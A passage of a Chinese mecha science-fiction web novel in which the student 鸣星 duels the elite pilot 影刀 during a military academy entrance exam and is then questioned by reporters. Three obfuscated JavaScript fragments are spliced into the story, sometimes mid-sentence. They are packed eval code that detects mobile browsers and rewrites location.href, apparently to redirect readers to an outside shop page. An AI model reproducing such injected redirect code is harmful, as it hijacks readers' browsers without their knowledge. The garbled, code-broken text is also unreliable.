“我没有参加其他学校的考试。我只得到了你们的考试资格。” 鸣星说着，朝银龙的方向颔首，“谢谢龙羿如此公平，没有嫌弃我小星的身份，给了我见世面的机会。看到大家的机甲都这么出色，我很开心！龙羿的未来一定充满希望，加油啊！” 士阳：“……” 她怎么像校长一样在演讲？ 士阳真的搞不懂，鸣星这么做到底是为了什么？她是想通过这个方法引起考官注意，从而被破格录取到银龙班吗？ 鸣星说完，干脆利落地转身下台，无比果决。 所有考生都是大吃一惊。 她真没想通过考试？ “慢着，这个观音……鸣星，鸣同学。”律尔喊住了她：“要不要和我们一考场的优等生们打一架？” 鸣星脚步一顿，背对着他们，问道：“和谁？” “怎么，不入你的眼的，你还没兴趣打？”律尔笑道：“放心，你输了我们是不会要你的，真不想来还可以放水。” 话说成这样，鸣星还是迟疑。 她材料这么脆，别人把她的观音手打碎了怎么办？花了好大心思才装好的呢。不过，和那些精英机师对决的机会实在少有，她也想体验下，实在纠结…… “你自己选一个想打的，谁都可以。” “就那个吧，”鸣星立刻回身，伸手一指，满脸兴奋：“影刀。” 8. 观音vs影刀1 律尔看热闹不嫌事大，朝台下招招手：“影刀快上啊，观音点你名呢！” 虽然语气轻松，但这其实算是考官的命令。 影刀从一考场等候区走了过来，他远看像把长刀，近看像只黑色变异昆虫，鸣星头顶刚到他最上面的关节，此时不得不仰着头观察，这个视角看过去，压迫感惊人。 影刀切观音的瓷胳膊就像屠龙刀切黄瓜一样轻松，第一条战术显而易见：不要被切到。 他关节处是精巧的铰接结构，运动自如，还做了限位设计，一旦关节被损坏，腿部就会成为全新的结构，仍旧能够快速移动。 第二条战术么……跑不过他，也阻止不了他跑，于是只剩下原地躲闪一条路了。 “影刀，你可小心点。”律尔笑嘻嘻地补充，“要是输给观音，你就要和六指一起去群星班了。” 影刀头都没回，显然没把这句话放在心上，他的银色视窗对着鸣星，也在仔细打量着观音。 “为什么选我？” 鸣星在台上的态度很明显了，整个一考场里，她只想和影刀对决。 “你的机甲很帅。”鸣星这样回答。 一考场她觉得帅的机甲很多，选择影刀，其实是因为黑蔷薇点名表扬了他。 如果她被秒杀，就顺了她不去龙羿的意，如果能过上几招，说不定也能换黑蔷薇一句夸奖。她会夸什么呢，拓扑结构？神经连接？还是说用垃圾材料攒出艺术机甲的深入理解？…… 鸣星想入非非，笑容里那点得意在影刀眼里无疑是挑衅，他的身体微微调整，变成了应战的姿势。 他也想打了。 “你可以申请一个半身标准机。”影刀说。 鸣星的要害全露在外面，套个半身机既能保护内脏，又不影响她机械手的发挥。 鸣星摇头，“不，就这样打。” 一般人会觉得她实在自大，但见识过观音高超的控制技术，此刻没人敢轻视她。对面的影刀也是如此，只是简单地问：“你确定？” “嗯。” “好。”影刀问律尔，“规则是什么？” “你们自己定喽。” 影刀：“那就第二条标准，失去机甲操控能力即为失败。” 机甲和半机甲对决当然不是你死我活，而只是个比速度的游戏。影刀击碎观音所有的手就算赢，如果怎么都击不中一个，就算观音赢。 鸣星想都没想，点头答应。反正她肯定会输，规则怎么都无所谓，她只要专注躲闪就好。 “都准备好了？”律尔拍了下手：“对决开始。” 哗啦—— 观音的第一只手被一击斜劈切成两半。 水一般柔润的手指坠落在地，裂成许多小块，叮叮咚咚，声音如玉珠入盘。 那时，鸣星有些错愕，她忽然理解了六指面对的是多么可怕的敌人，攻击果决精准，压迫感直击灵魂，气势压人，以及——这具钱堆出来顶级机甲本身。 可即使是S级机甲，她的观音也可以在速度上抗衡，她上场前就已在心中估量过了，影刀驱动力强但材料更重，观音动力不足但材料薄脆，就好像壮汉用铁剑，小孩用塑料剑，两者可以用同样的速度挥舞。 但是，差一点，就差一点。 鸣星死死地盯着影刀的前肢，只要再来一次，她就可以发现了。她看到了影刀挥来的轨迹，按照这个角度，按照她移动的速度，应该刚好能躲过—— 砰。 第二只手在躲闪的最后时刻，自边缘削开。 她知道差的那点在哪了。 影刀是脑机接口连接，而她是远程连接，大概有0.3秒的延迟。 普通战斗中这点延迟影响不大，但影刀的反应速度也是差不多时间，结果就是，当他们都做到极限时，影刀刚好可以击中她，她刚好没法躲过。 鸣星有脑机接口基座，当年妈妈花了大价钱，理应性能很好，但她一用接口就晕，有机甲服辅助倒是好一些，可机甲服有束缚精神的感觉，用着别扭。左右都有延迟，还不如用远程连接，起码自在些。 再说，又不上战场，延迟有什么所谓？ 她本就对这场输赢无所谓，都没有斗志，怎么可能跨越那0.3秒的鸿沟。 速度赶不上的话，绝活也没法施展了。那么，面对难以克服的困难应该怎么办？ 当然是果断投降！ 鸣星毫不犹豫地举起剩余的手，大喊道：“我要——” “申请暂停！” 这话衔接得过于顺畅，鸣星都差点以为是自己喊的了。 她看向声音来源，那位激动到站起来，因愤怒而印堂发黑、脸色红润的男人。 “这样太儿戏了，给我换标准机！”英弦咬牙切齿：“使用脑机接口，然后，战斗！” 鸣星看了英弦那么多论文，多少了解他的脾气，他对于机甲战斗十分严苛，比如因为连接延迟而导致失败这种事，是绝对无法容忍的。 她心想，看我有延迟都气成这样，如果一会我上机就晕倒，他岂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497778|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是也得气晕倒？ 见鸣星没有反应，英弦头上都要冒火了：“别告诉我你没有脑机接口。” “我当然有。”鸣星说道：“英老师，别生气，我换就是了。” 她从善如流地变了口风，变化之快让众人瞠目结舌——之前坚持不换标准机时的骨气呢？ 鸣星自己倒觉得挺自然。本来没想着差距这么大的，但既然意识到了就换一条路，哪怕是条死路，试试也没什么，最差也不过当场晕倒，还能让英弦气得三天吃不下饭。 证据就是现在英弦正黑着脸微笑，说：“呵，我没生气，只是很期待。” 他对于让她展示然后批判这事念念不忘，如果不遂他的心愿，那将如鲠在喉。她会变成他咽不下去的一颗刺，甚至可能成为教学中的经典反面教材。 能被龙羿军校的教授以这种方式铭记，也是不错！ 龙蛋里标准机众多，鸣星简单看了一圈，径直走向离她最近且拳头最大的那个，伸手一指，“就这个吧。” 铁拳-半身3号，格斗家系列的基础款，非全包围的人型机，能防护胸部以下，观音所有的手都可以露在外面。 这机甲主要是强化手部攻击，拳头如锤子大小，手指上有指虎结构，打出时有震荡和冲击的效果，可以简单粗暴地破坏固体，劲够大，够集中就行。 鸣星在机甲里四处摸摸，一时有些新奇。上次坐这种正儿八经的机甲都是四年前的事了，这材料只算中等，但质感比她自己的好了十万八千里，光是摸着都觉得心情舒畅。 见她调试好位置，影刀问道：“规则不变？” “可以啊。”鸣星点头，一手牵起脑机接口的连线，另一手在脑后摸了好久，才找到那细小的疤痕。 她记得接入时会天旋地转，晕的想吐，头脑一片空白，不知这次会不会也是如此。 她把连线对到接口的位置，对影刀笑了笑，说道：“影刀，如果我开启机甲就晕倒，就算你赢了，那时候你记得扶我一下，别让我的观音碎掉。” “什么？” 影刀一愣，随即摆出防御的姿势，像是怕她搞什么花招。 “就这样，我开了啊。” 说罢，鸣星将线猛地一插，十万通道的细小电极瞬间接入大脑皮层内部。 视野内唰地一白，她连挣扎一下的机会都没有，径直向后晕了过去。 此刻，全场上下，不论考生还是考官，媒体还是工作人员，脑子里通通只有一句话。 她真晕啊？！ 9. 观音vs影刀2 她绝对是在演。 在观音向后仰倒时，影刀是这样想的。 然而这座佛像坍塌得那么真实，几十只手随着下坠的惯性飞扬起来，失去控制的手指朝着不同方向摇摆，柔金的光辉一闪一闪，像是最后的微弱求救。 她倒下了。 她真的倒下了。 那些不知要花费多少心思才能在放进包里的精巧瓦片，会全部变成碎末，莹白的，金黄的，璀璨地碎成一地，超度的眼瞳会变成满地乱转的普通晶球，价值甚至不如小孩子玩的玻璃球。 他想，应该没有回旋的余地。 观音的背包已经触及地面，只要再过一小会，再过一秒、不、半秒、零点三秒，她的胳膊和手就会重重落在地上，成为满地狼藉。 作为竞争对手，理应十分愿意见到这样的场景，但他并没有把鸣星视为对手。鸣星只是三考场的学生，他不觉得她对自己有什么威胁。 别让我的观音碎掉。 鬼使神差地，影刀在最后一瞬间想起了这句话。 铮—— 影刀的前肢裂成五指，中间不锋利的三指捏住了鸣星自身的手臂。 一声高硬度材料撞击的响声后，鸣星被猛地提了起来，连人带机甲悬在半空。 手臂在坠落，人却在向上飞。幸好飞得够快，足以在脆象牙触地的前一刻，飞到一个可以保护观音的高度。 拯救观音。这件事可做可不做，不过总的来说，影刀还是想要这样做，因为他也不想让观音碎掉。 他想让观音、这个他只在路边杂书里见过的形象，醒过来。他想要知道她还能使出什么和超度类似的技能，让他再感受一次震撼，当然，如果有更多次、更多样的震撼就更好了。 他对观音有一丝好奇。 “观音，醒来。”影刀收紧了手指，“和我战斗。” 用这个力度攥着她，她会被痛醒，甚至会受伤。但不知为何，影刀感觉自己并没有在捏着柔软的肉，而好像在捏着一块坚硬的铁器。 是用了强化装置么？ 他没有继续施加力度，而是让指尖共振。 观音手上的眼睛齐齐颤抖，那种超度般的声音又响了起来，只是在影刀的振幅下听着更像是哀嚎。 鸣星猛地睁开了眼。 隔着银色的视窗，她看不到他的脸，他则能清楚地看到她那双黑亮的眼睛，瞪得很大，一种还没清醒的放空状态。 “和我……” 影刀第二句话还没说完，却见一只铁灰的拳头朝自己袭来！ 咚！ 铁拳重重砸到了视窗上，尖利的指虎更是摩擦出一声巨大而尖锐的噪声，然而视窗却没有破。 这块多次处理的坚硬材料不会被轻易击碎，否则将暴露出机甲的最大软肋，机师。 影刀从这双银色的眼望出去，发觉他正在与鸣星目光相对。她感觉到了他就坐在这后面看着自己，而他也感觉到了她的感觉。 她的铁拳再次提了起来。 她说：“好，和你战斗。” 然而，就算再来一拳也是一样的。从她刚刚下意识的一拳中，影刀已经知道，她没有六指多点突破的技术，也没有配备计算突破点的ai。她只是在慌乱地乱打而已，是一种生物被捕猎时，朝着狩猎者反击的本能。 其实铁拳的力度已经十分强大，但是比起攻破视窗，还差一点。 只是这一点，就是无法越过的天堑，人尚且无法突破自己的上限，更不可能突破一切都被材料限制的机甲的上限。最大的力度就算打到了99，最后的1，也永远无法触及。 “没用的。”影刀说，“你打不破。” “刚才没睡醒，再试一次。” 铁拳再次气势汹汹地猛冲过来。影刀稳稳地端坐在座位上，甚至连将鸣星放下的动作都懒得做。他的ai已经预测出了她击打的力度、角度、位置，那是一个绝对无法击碎视窗的—— 嗡鸣声。 影刀忽然意识到什么，身子猛地紧绷，他必须立刻把鸣星抛远！ 但如果直接松手，观音还是会摔成碎片，他应该将她悬在一个够她安全落地的距离再松手。 不，来不及了，他得现在松手！ 就在这一瞬的迟疑时，一只铁拳和数十只观音手同时冲到了视窗之上，指虎刺入表面时仍旧无事发生，然而那些晶瞳叮叮咚咚地撞击到屏幕后，伴随着共振的声音，视窗咔地裂开一道缝隙。 从那道缝隙开始，左视窗瞬间布满裂痕，砰的一声，整个炸开！ 影刀已经松开了手，但是他晚了一步。 向下坠落之前，鸣星从碎掉的窗口里看到了他的脸。肤质瓷白，脸上的颜色清晰分明，浓墨重彩，微微蜷曲的金色短发宛如太阳，黑框眼镜也遮不住眉目的清俊与锐利。 鸣星第一眼望去时，目光首先锁定在那双红色的眼睛上，那红浓郁，热烈，像是地狱之火。 这双眼瞳正因惊愕而微微收缩着，他隔着视窗飞溅的碎片看清了她，随即抿住下唇，有些不甘的样子。 影刀的前肢咔擦一声合并成刀锋状态，朝着她下坠中的胸口击去。 她在空中没有落点，这一击本来没法躲闪，然而那铁拳忽地勾住了影刀的脖颈，靠惯性转了一圈飞上去。 过快的速度卷起的呼啦啦风声中，她像一只灵活的小鸟，轻盈地飞到了他的头顶。 紧接着，铁拳的双腿猛地勒紧，缠住影刀脖颈，防止被甩下。 “格斗家的机甲果然应该用于近身格斗啊。”鸣星感慨道。 多亏了铁拳设计时考虑了格斗的飞身技，否则只靠她自己是飞不上去的。 影刀的备用视窗很快替换完毕，机身里传来他有些郁闷的声音。 “为什么。” 她知道他想问的是什么。 明明没有辅助仪器，为什么知道使用哪个频率共振，来达成破坏视窗所需的最后一环。 “我赌的。” 鸣星说罢，再次提起铁拳，和数只机械手一起击向影刀的头顶。 砰砰—— 这玩意比视窗还硬。 影刀毫发无损，反倒是紧贴着机身的几只晶瞳砰的一声碎开。 她用共振破坏了影刀的视窗，影刀也用同样的方式反击了观音的眼睛。 鸣星急忙把其他机械臂挪开，影刀的共振范围更广，振幅更强，可能贴上去的瞬间就被爆破。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497779|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 之后，两人有好一会都没有任何动作。 现在陷入了僵局，鸣星骑虎难下，影刀也无从发力，鸣星意外地找到了他的盲区，他有点后悔没在机甲头顶装一个攻击设备。 “你的格斗术还差点意思。”影刀淡淡地说。 “差什么？” “差在你没学会打，只学会躲。” 鸣星点头：“是的，我学会了精髓。” “……”影刀问道：“还打么？” 如果是平常练习，肯定是下来接着打，但现在是决斗，已经到了分出胜负的阶段了，这种尴尬的局势算是平手。 鸣星还没回答，英弦先大声道："打，怎么不打。继续打，继续战斗！” 这种两人决斗，第三个人最激动的情况倒也是少见。 目前为止，这场对决还没什么含金量，只能说是影刀心软了一下，鸣星插了个空子，考官想看的肯定不是这些。 影刀忽然向旁闪去，强大的惯性将鸣星猛地后拉，如果他速度再快一些，她会被立刻甩下去。 “下来。我不想让你的观音摔碎。” 鸣星十分惊喜：“你……” 影刀语气冰冷，“我想一只一只打碎你的手。” 好吧，还以为找到了一个同好呢。 鸣星无奈道：“我下不去。” 从这么高的高度跳下去需要翻滚卸力，先不说她能不能平稳落地，很大概率，这一后背手都要压碎了。 “什么叫你下不去？” “字面意思，下不去。你得把我扶下去。” “你的体术课怎么学的？”影刀语气里好似有货真价实的疑惑，不过下一句就暴露了嘲讽之意：“哦，忘记了，你的基础课都不及格。” “你居然认真看了我的简历？”鸣星十分高兴，“你对我很感兴趣吗？” 影刀：“………” “那你对我……” 鸣星本想问他对自己简历里哪部分最感兴趣，还没问完，就被影刀无情打断。 “我劝你说话前思考一下，媒体都拍着。” 他不知道鸣星要说什么，但大概率要转成私人话题。在公开赛场上彼此嘲讽两句炒下气氛就可以了，这么多眼睛看着，说的太多可不是什么好事。 “好的。” 鸣星从善如流地应道，一边抽空对着镜头最大的那个媒体比了四十个耶——两只铁拳也在其中。 影刀不知道鸣星在他头上做了什么事，虽然从台下考生的表情中看出几分难绷，但他也并未在意，只是向考官提出申请：“申请中场停止，位置重置。” 考官点头后，他前肢举起，鸣星自觉地挂了上去，他将她安稳地放回地面，后退一步，对律尔说：“调整完毕，可以继续。” 律尔艰难地憋笑：“开，开始。” 呼啦—— 宣布的余音未散，影刀的利刃就已卷着风声劈至，而他瞄准的那只手只是向旁侧了侧，就与刀锋擦肩而过！ 一分不多，一分不少，刚好躲过。 随后，那只手对影刀比了一个ok的动作。 “我找到感觉了。”鸣星说，“虽然还是很晕，但我不会再被你打中了。” 10. 观音vs影刀3 鸣星刚才那下躲闪控制得刚刚好，炫技到如同挑衅一般。 影刀的好胜心被完全激发起来，他冷笑一声：“如果被我打中，你就怎样？” “如果被你打中，我就被打中了。” 影刀：“……” 听君一席话，如听一席话。 “你是想和我打赌吗？打中了也不会怎么样，你要把我的手全都打碎才算赢。当然，如果你打碎我的手超过五只，我就会投降了。”鸣星微笑道：“加油啊！” 她诚挚的鼓励既为影刀也为自己，但听在影刀耳中，挑衅之意满溢而出！ 影刀没再废话，数十下连击狂风骤雨般袭来。 鸣星这次躲得稍有狼狈，神情没有之前自如，即使如此，每次都还是擦边躲闪，一分的余地都没有。 影刀不禁皱起眉。不论按照他的经验还是ai计算，他的进攻都毫无问题。 是因为鸣星换了接口吗？但这延迟也在他考虑之内。之前两次成功击中的数据显示，从他攻击到鸣星开始躲避，正好是远程延迟常见的0.3秒，差不多也是他速度的极限。只要他维持速度，应该刚好击中，而不是刚好被躲过。 他看向屏幕里ai测出的平均数据，只要他再快0.1秒就可以击中鸣星的手。 或者说，鸣星总是比他想象中更快0.1秒。 他的攻击时间都ai计算的别无二致，绝不是误差。唯一的解释是，在他进攻之前0.1秒，鸣星就开始准备躲闪了。 这种事怎么可能存在？ 除非对方配备了高算力ai和他的战斗数据集，才能一定程度上预测出他的动作，而且一定有误差，但现在差不多三十次攻击，鸣星每次都躲开了，每次，都会提前那0.1秒。 影刀背后发凉。 这0.1秒的差距像鬼一样缠着他，不如说这事本身就像闹鬼一样，有人能预知到他未来的动作，这不可怕吗？ 她是如何做到的？她为何能做到？ 影刀向后闪出一大段距离，暂做调整，他的目光瞥到考官席，见律尔正敲击他的护目镜边缘。 他与律尔很久以前就认识了，他知道那不是综合战术眼镜，这个动作是观测数据的指令。 考官也注意到了那0.1秒的提前了吗。 律尔似乎感知到他的目光似的，忽然状若随意地晃了晃手腕。 手腕。 捏痛了也无法唤醒鸣星的手腕，共振时能够叫醒她的手腕。 影刀脑子嗡的一下，瞬间领悟。 他知道鸣星为什么不需要穿机甲服了。 机甲服稳定精神，但也会束缚精神，好像人被关进狭窄的小房间里，短时间可以忍受，时间长了只会疯掉。 有一种人绝对不会穿机甲服。那就是身上有机械，且经常用机械精细作业——残疾的技术专家。 他们需要一直开机，但又无法忍受常年被机甲服束缚，只能自行稳定精神来维持机械器官运转。他们通常也讨厌侵入式接口，因为庞大的信息量会冲毁好不容易保持的精神稳定性。 于是，他们不得不与延迟共生。当行为总比思想慢了0.3秒，大脑为了避免混乱，就会进化出一种直觉性的预测技能。 ——“提前”。 他们的操作，会比视觉、听觉、感觉，更先一步出现。 鸣星就是拥有这项技能的人。 影刀紧紧盯着她那双黑色长手套，末端覆盖到小臂中段，将她的皮肤盖得严实。 那不是人手，而是机械手。 正因如此，她才能在没有机甲服保护的情况下靠自身精神力稳定连接。这不是天赋，而是代价。 事情已经很清楚了，只要他再快0.1秒，即使鸣星提前也无法赶上他的速度，他就能够击中观音的手。 但，现在已经是他的极限。 速度突破的难度指数上涨，从10秒到1秒很难，从1秒到0.3秒难上加难，从0.3秒到0.1秒难比登天。这需要大量的综合练习，而不是在考场上想着“我再快一点就可以”就能做到。 更致命的是，现在速度压到极致的状态，他并不能保持太久，再这样僵持下去，他和鸣星的差距会越来越远。 影刀果断放弃追赶这0.1秒。他必须要打掉鸣星五只手，战术不行，就换。 她脑子里的那双眼看的更早，那又如何？她总归要用外面的眼睛确认情况。只要让她看不清，让她里外的眼睛打架，她就会做出错误的判断，从而被他精准击杀。 晕眩。 这是影刀设计的核心理念，已经在战斗中用过很多次，但没有一次的敌人如此恰到好处，正正好好适合用晕眩突破。 影刀微微扬起嘴角，按下了黑色的按键。 鸣星感到影刀机身上闪过一道隐秘的银光，紧接着，当他再次移动前肢，她忽然一阵天旋地转，动作迟疑之时，一只手被猛地击碎。 这是影刀切断石人第六指的那招，现在他要用同样的方式斩断她的手掌。 鸣星凝神望去，影刀的攻击忽然从很远的地方冲到她脸上，她下意识地向后退去，他的前肢却在下一瞬间移动到了三厘米外，她一只手的前面。 又一只手被击碎了。 影刀问：“观音，看得清么？” 鸣星没说话。是她太晕了，还是没看清？她深吸一口气，感到自己的心跳在慢慢加速。 驾驶铁拳后她一直都晕，但之前是晕车感，现在则是看到了错觉艺术的画，事物又近又远，又大又小，当这幅画动起来时，她难以判断事物的运动方向。 是针对视觉神经的材料吗？ 砰！ 思考的这一小会，又有一只手被打中了。 “准备好投降了吗？” 影刀声音里有着淡淡的笑意。 他的声音明明那么好听，但说话时有种轻描淡写的嘲弄之意，多一份显得浮夸，少一分又显得平和，恰到好处地让人恼火。 鸣星难得地有了一些斗志，那种想要用行动堵住他的嘴，让他再也笑不出来的冲动。 “那个一会再准备。”鸣星说道：“现在我在做其他准备。” “是什么？” “准备看清你的动作。” 鸣星说着，朝他举起了右手。 黑色手套上，那双“眼睛”望了过来。 影刀一时毛骨悚然，但很快理智占了上风：她手上的眼睛，晶瞳，只是玻璃珠一样的东西而已，除了虚张声势外没有作用。 出于谨慎，他没有轻敌，紧紧望着鸣星，却见她闭上了眼睛。 “……你在做什么？” 影刀的声音变得严肃，他感到一种源于未知的轻微的恐惧，他完全无法猜到对手的意图。 “我在想象。” “那么，你想象到我要做什么了吗？” 影刀说罢，一记重击狠狠击碎了观音的一只手！ 这只手碎得十分彻底，几乎成了粉末，足以见得他使了多大的力度，经过ai计算，这一击居然不可思议地突破了那0.1秒。 可惜这次鸣星所有的手动都没动，她根本就没在躲闪。 “我没在想象那个。” 鸣星微微皱起眉，似乎在感受着什么。 “我在想象，用这只眼睛看得很清楚的感觉。” 影刀一愣，他想到了鸣星使用的方法，但那不可能做到，不可能—— 不，在鸣星身上，已经发生了太多不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497780|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能的事了。 同时操作四十一只机械手。 提前0.1秒预测对手的动作。 以及，通过手上的玻璃，看到外面的世界。 然后闭着眼睛战斗。 影刀的手背神经性地抽动了一下。 影响视觉的材料有很多，原理都是针对视觉神经，让人产生错觉。如果绕过神经，将信号直接输入大脑皮层，就能破解干扰。 这种做法的确可行，但晶瞳作为信息采集器，差的离谱！它的处理器不超过手掌大小，收集到的图像分辨率极低，传到大脑中只会是一片模糊的马赛克。 人能看清还有一个前提，就是大脑超强的图像处理能力，俗称脑补，可那也需要大脑从信号中提取出轮廓、轨迹这些关键特征，才能脑补出空间的全貌。从晶瞳观看，就像透过浓雾观战，根本看不清对方的动作。她若是想正常看清，必须有超出常人的脑补能力才行。 ……她真的能做到吗？ 影刀慢慢地抬起前肢，对准了鸣星的一只手。 退一万步说，就算她能看得清，她的机械手还是远程操控，她还是会比他更慢一步—— 唰。 刀锋极速略过柔金的风声。 他没有击中。 她闭着眼睛，躲开了。 影刀双手冰凉。他清楚地看到鸣星是如何躲开的：她用铁拳的手捉住了观音的手，在他出手之前的0.1秒开始移动，并精准地避开了他的攻击！ 提前、手之眼、脑机接口连接的铁拳，三者配合到最佳状态就是如此。 唰唰唰—— 刀锋不断地冲击着，在接下来近百次的攻击中，竟一次都没有击中鸣星的手。 她闭着眼睛，铁拳粗壮的手指却能精巧地捉住观音的手掌，以不破碎脆象牙的力度拉开距离。 他一次又一次地擦边而过，一次又一次地只差一点点。 明明只要再打中一只手，就可以了。 就可以问她，不投降吗？ 他紧绷的喉结上下滚动，窒息感像蛇一样缠在他的喉间。他听到鸣星笑吟吟地问： “影刀，打的中么？” “……” “既然你打不中第五只手，我就直接投降好了。”鸣星睁开了眼，高举一只手，转向考官席：“老师，我要投降——” 砰！ 在她举起手的下一秒，第五只手被击穿了。 这击穿的时机再往前半秒，就会显得影刀精准控制，速度惊人，但这时机在她喊出投降之后，就只会显得他恼羞成怒。 “对决结束。”律尔激烈地鼓掌，“太精彩了！影刀，你觉得观音该留下吗？” 影刀在深呼吸平息心情，一时没有回答。 鸣星被击中了五只手，鸣星投降。理论上，是他赢了。 但为何他会觉得，如此…… 如此不甘、恼怒。 ……以及郁闷。 良久，影刀微微暗哑的声音说道：“让她留在银龙班吧。我就——” “这比赛算平手，你们两个都留吧。”律尔打断了他，对三考场两位不通过的考官说：“你们愿意用掉更改评价的机会吗？” 每个考官有一次更改评价的机会，见了刚才的对决，哪还有不改的道理，几人都立刻按了通过。 三考场亮起四盏通过灯，只要再来一盏，鸣星就会被录取到银龙班。 英弦阴沉的脸色居然恢复了几分，他的笑里多了一份真心实意的愉悦，好似某种心愿将成。 全场注视之下，他重重按下了不通过，目光紧紧锁在鸣星身上，笑着说道： “鸣星，欢迎加入龙羿军校群星班，作为导师，我会好、好、教育你的。” 11. 媒体采访 “鸣星同学，请问你是其他军校派来挑战龙羿的吗？” “观音您好，您被网民评价为近几年来最优秀的三考场黑马，请问您现在是什么心情？有什么要对我们直播间观众说的吗？” “为什么选择龙羿军校？” 龙羿门口，鸣星刚走出去就被一群媒体长枪短炮地拦住，一半镜头怼着脸拍，另一半镜头快要伸进她的背包里，问句如雨点般袭来。 若是一考场的考生，大概率会对这种架势冷眼相待，能回答几个字都是给面子。只不过鸣星还笑面盈盈的，朝镜头挥手打招呼。 这次来收获满满，看到了很多厉害机甲，做了次有趣的机甲对战，而且对决结束时，黑蔷薇朝她看了好几眼——虽说到最后也没得到评价，但这几眼就够她开心的了。 而且，她居然得到了很多关注。 末星上荒凉，连过节都不怎么热闹，就算她喜欢独处，偶尔也会觉得孤单。新纪元星虽然繁华，但所有人行色匆匆，她孤身一人到达这星球时觉得自己十分渺小，快要被淹没在人群里，同这星球里的每个人一样，毫无存在感。 但现在她感觉自己变得好大，大得像太阳一样。 “我一个一个说哦。”她认真地一一回答，“第一个问题，我不是其他学校派来的，我只收到了龙羿的考试邀请。” “第二个问题，谢谢你们，我现在心情很好！直播间的朋友们，你们今天中午吃的什么？” “第三个问题，为什么选择龙羿军校？因为我没得选。刚刚说了，只有龙羿邀请我。好了，还有什么问题吗？” 士阳和鸣星一起走出来的，刚出门就被围住，此刻被迫挤在鸣星的身后。 好消息是，现在大家的注意力都集中在鸣星身上，暂时没人问她射击考官的事。坏消息是，鸣星太兴奋了，什么问题都坦诚回答，一会要是被问题下套就遭了。 “鸣星同学——”一个记者踩着飞板从远处冲来，蛮力挤开一堆媒体，话筒怼到她脸前，大声问道：“为什么下场前捡了劣质材料，是想表现你的节俭吗？” “那个是柔金，是观音手部的材料，我收集废了很多劲呢，当然要好好收起来，拼拼还能用。” 记者紧跟着问：“你是劣质材料爱好者吗？是想通过差材料证明你的精神力的强大吗？” 这话头已经有了些挑拨情绪的意味了。 “鸣星，”士阳揪住鸣星的袖子，小声道：“你可以拒绝回答。” 鸣星朝她眨了下眼睛，示意士阳安心。 她的心情看起来并没有受到影响，还是笑着回答：“我只有这些材料用呀，我们那里好材料很少的，不过这样子把机甲开起来会很有成就感，你也可以试试，如果你能做到就会理解我啦。” 士阳一愣，鸣星意外地回答得很好，最后不知是有意无意，算是小小地反击了记者一下。 那记者没有得到预想中的答案，沉默了一瞬，另一名记者立刻抢过位置，问道：“请问你们二位是在联手针对英弦少将吗？” 士阳最害怕的那个问题还是来了。 几个话筒甚至也怼到了她的脸前，黑洞一样的摄像头像一只只盯着她的眼睛。她一个普通学生哪经历过这种场面，再想到这些话会在网上传播开来，被逐字逐句地挑刺，一下子汗流浃背了。 她支支吾吾半天，才小声道，“我们很尊重英弦少将……” “那士阳同学，你为什么朝他射击？这是你的战术吗，通过特立独行吸引老师注意？鸣星同学，你又为什么挑少将的争议事件说，是为了故意激怒他，来让他给你更多展示时间吗？” “不是这样的！那是一个……失误……” 士阳的声音越来越小，谁家失误会专门把枪口调转一百八十度方向对准考官？这话她自己都不信，但问题是，这个行为根本没法解释。 从旁观者的视角，这行为只有两种合理的可能：故意吸引英弦注意、患有精神病并且突发恶疾。 鸣星倒是一点都不紧张，理直气壮地说：“我没有故意激怒他，是他自己气性大，擅自生气的。不信你们去看考试录像，我还劝他别生气了呢。” 士阳惊讶地望向她，刚刚不是挺会说的吗，怎么现在这样回答？ “至于士阳为什么射击英弦，我想应该是她在考试过程中意识到英老师想看移动靶表演，你们也听到他当时不满的声音了吧。我们都没有针对他，正相反，我们相信他能够逃脱射击，能够冷静地和学生说话，我们对英老师，完全是尊重和信任。” 士阳手脚冰凉，内心呐喊：鸣星，快住口啊！要是英弦知道了你现在说的这些究极嘲讽的话，一定会把你折磨得很惨！ 鸣星似乎对自己的回答很是满意，又笑着问记者：“对了，英老师的争议事件是什么？” 士阳：“……” 她简直想捂住鸣星的嘴。 记者眼前一亮，正要大问特问，一个好不容易挤进内圈的媒体抢先问道： “鸣星，有专家认为你是通过场外多人远程操作来作弊，你如何看待这种观点？” 这也是很多媒体都关注的问题，他们一时安静下来，等待鸣星的回答。 这场热度爆炸的考试直播中，讨论度最高的不是一考场的出彩机甲，而是观音与影刀的对决。这其中，被翻来覆去争吵的核心问题就一个： 鸣星所展示的，是否是她的真实能力？ 那可是四十只手、560个操作点位，后面的闭眼闪避则彻底超出普通人的认知。一个毫无背景的垃圾星考生，凭什么能做到？ 